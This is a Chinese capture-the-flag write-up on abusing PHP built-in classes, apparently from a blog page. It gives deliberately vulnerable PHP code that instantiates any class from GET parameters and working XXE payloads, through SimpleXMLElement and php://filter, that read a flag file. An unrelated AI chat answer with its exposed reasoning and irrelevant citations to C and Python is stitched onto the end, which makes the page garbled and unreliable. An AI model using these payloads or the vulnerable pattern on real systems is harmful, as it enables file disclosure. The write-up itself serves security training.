PHP内置类利用

[题目信息]:

题目名称题目难度
PHP内置类利用3

[题目考点]:

PHP内置类利用

[Flag格式]:

SXF{XxA_aSQ_XXE}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

1、实验主页

2、代码解析

<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(   #1
    function ($class){
        new NotFound();
    }
);
$classname = isset($_GET['name']) ? $_GET['name']:null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if (class_exists($classname)){ #2
    $newclass = new $classname($param,$param2); #3
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'$value'.'<br>';
}
?>

上述代码中存在3个用户可控参数,$classname、$param、$param2。其中$classname在#2被传入class_exists函数。

首先介绍class_exists函数和__autoload函数以及PHP中任意类实例化

uploading.4e448015.gif正在上传…重新上传取消

如上图所示,如果检查的类不存在,那么class_exists()函数就会去调用__autoload函数。

在代码中不存在autoload函数,但#1行,存在spl_autoload_register函数,其作用和autoload函数类似。

通过spl_autoload_register函数可以实例化php中任意类

SimpleXMLElement类功能就是用来表示XML文档中的元素。在SimpleXMLElement类中有很多函数可以调用。

重点是SimpleXMLElement::__construct-创建新的SimpleXMLElement对象

SimpleXMLElement::addAttribute-向SimpleXML元素添加属性
SimpleXMLElement::addChild-向XML节点添加子元素
SimpleXMLElement::asXML-基于SimpleXML元素返回格式良好的XML字符串
SimpleXMLElement::attributes-标识元素的属性
SimpleXMLElement::children-查找给定节点的子节点
SimpleXMLElement::__construct-创建新的SimpleXMLElement对象
SimpleXMLElement::count-计算元素的子级
ExtSimpleNamespaces::GetDocElement-在文档命名空间中声明
SimpleXMLElement::getName-获取XML元素的名称
SimpleXMLElement::getNamespaces-返回文档中使用的命名空间
SimpleXMLElement::registerXPathNamespace-为下一个XPath查询创建前缀/ns上下文
SimpleXMLElement::saveXML-别名SimpleXMLElement::asXML
SimpleXMLElement::__toString -返回字符串内容
SimpleXMLElement::xpath-对XML数据运行XPath查询
<?php
$xml = file_get_contents("php://input");
$xml_class= new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>
exp:
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=123.txt">
]>
<x>&xxe;</x>

在#3行,这里的类和类里面的参数都是我们可以控制的,满足了上面咱们提到的实例化漏洞。也就是说,我们可以实例化PHP的任意内置类。

首先可以使用GlobIterator类来寻找目录下各个文件的名字

GlobIterator类第一个参数是必须的的,也就是搜索的文件名,第二个参数为搜索。

通过搜索发现f1111ag.php文件,下一步使用SimpleXMLElement类读取f1111ag.php文件。

?name=SimpleXMLElement&param=<?xml%20version="1.0"?><!DOCTYPE%20ANY%20[<!ENTITY%20xxe%20SYSTEM%20"php://filter/read=convert.base64-encode/resource=f1111ag.php">]><x>%26xxe;</x>&param2=2

通过 BASE64解码获取Flag内容。

<think>好的,用户想了解PHP内置类及其用法。首先,我需要回忆PHP中有哪些常用的内置类,并整理它们的用途和基本用法。可能需要提到像DateTime、DirectoryIterator、SplFileObject、Exception这样的类。 首先,DateTime类,用于处理日期和时间,应该举例说明如何实例化、格式化以及进行日期计算。比如创建对象、设置时区、加减时间间隔等。 接下来是DirectoryIterator,这个类用于遍历目录,可以检查文件信息,比如是否是文件、目录,获取文件名、大小等属性。需要给出一个简单的遍历目录的例子。 然后是SplFileObject,用于文件操作,比如逐行读取文件内容。可以对比传统的fopen方法,说明其面向对象的优势。 异常处理类Exception及其子类,比如InvalidArgumentException,这里需要说明如何在自定义异常中使用它们,以及try-catch块的基本结构。 另外,用户提供的引用中提到了FutureWarning和__builtin_extend_pointer,但这些似乎和PHP无关,可能是用户混淆了其他语言的内容。需要指出这一点,避免误导用户。 在回答时要注意结构清晰,每个类单独说明,并附上代码示例。同时,确保使用正确的中文术语,避免技术术语错误。最后生成相关问题,帮助用户进一步学习,比如内置类的扩展、最佳实践、异常处理机制等。 检查是否有遗漏的重要内置类,比如PDO(数据库交互)、ArrayObject等,但考虑到用户可能更常用到文件、日期和异常处理,先重点介绍这几个。如果有时间,可以简要提及其他类,但保持回答简洁。 最后,确保所有代码示例符合PHP语法,比如使用正确的箭头语法->,以及命名空间(如果有的话)。比如DateTime的例子中可能需要使用DateTimeZone类来设置时区。 总结回答的结构:简介每个类,代码示例,注意事项或常见用法,然后相关问题。同时纠正用户引用中不相关的内容,避免混淆。</think>### PHP内置类及其用法详解 PHP提供了丰富的内置类,覆盖文件操作、日期处理、异常捕获等场景。以下是几个核心内置类的详细说明及代码示例: --- #### 1. **DateTime(日期时间处理)** 用于精确处理日期时间计算和格式化,支持时区设置。 ```php // 创建当前时间对象 $date = new DateTime(); echo $date->format('Y-m-d H:i:s'); // 输出:2023-08-01 15:30:00 // 修改时区 $date->setTimezone(new DateTimeZone('Asia/Shanghai')); // 时间计算 $interval = new DateInterval('P10D'); // 增加10天 $date->add($interval); ``` --- #### 2. **DirectoryIterator(目录遍历)** 轻量级目录遍历工具,无需预加载全部文件信息。 ```php $dir = new DirectoryIterator('/path/to/directory'); foreach ($dir as $fileinfo) { if (!$fileinfo->isDot()) { echo $fileinfo->getFilename() . " (大小:" . $fileinfo->getSize() . "字节)\n"; } } ``` --- #### 3. **SplFileObject(文件读写)** 面向对象的文件操作类,支持逐行读取。 ```php $file = new SplFileObject('data.txt', 'r'); while (!$file->eof()) { echo $file->fgets(); // 逐行读取 } // 写入文件需使用SplFileObject的写模式 ``` --- #### 4. **Exception(异常处理基类)** 所有异常类的基类,支持自定义异常类型。 ```php class CustomException extends Exception {} try { if ($value < 0) { throw new InvalidArgumentException("值必须非负"); } } catch (InvalidArgumentException $e) { error_log("参数错误: " . $e->getMessage()); } ``` --- ### 注意事项 - 用户提供的引用`__builtin_extend_pointer`属于C语言特性[^1],与PHP无关 - `FutureWarning`是Python的警告类型[^2],PHP通过`trigger_error()`实现类似功能 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值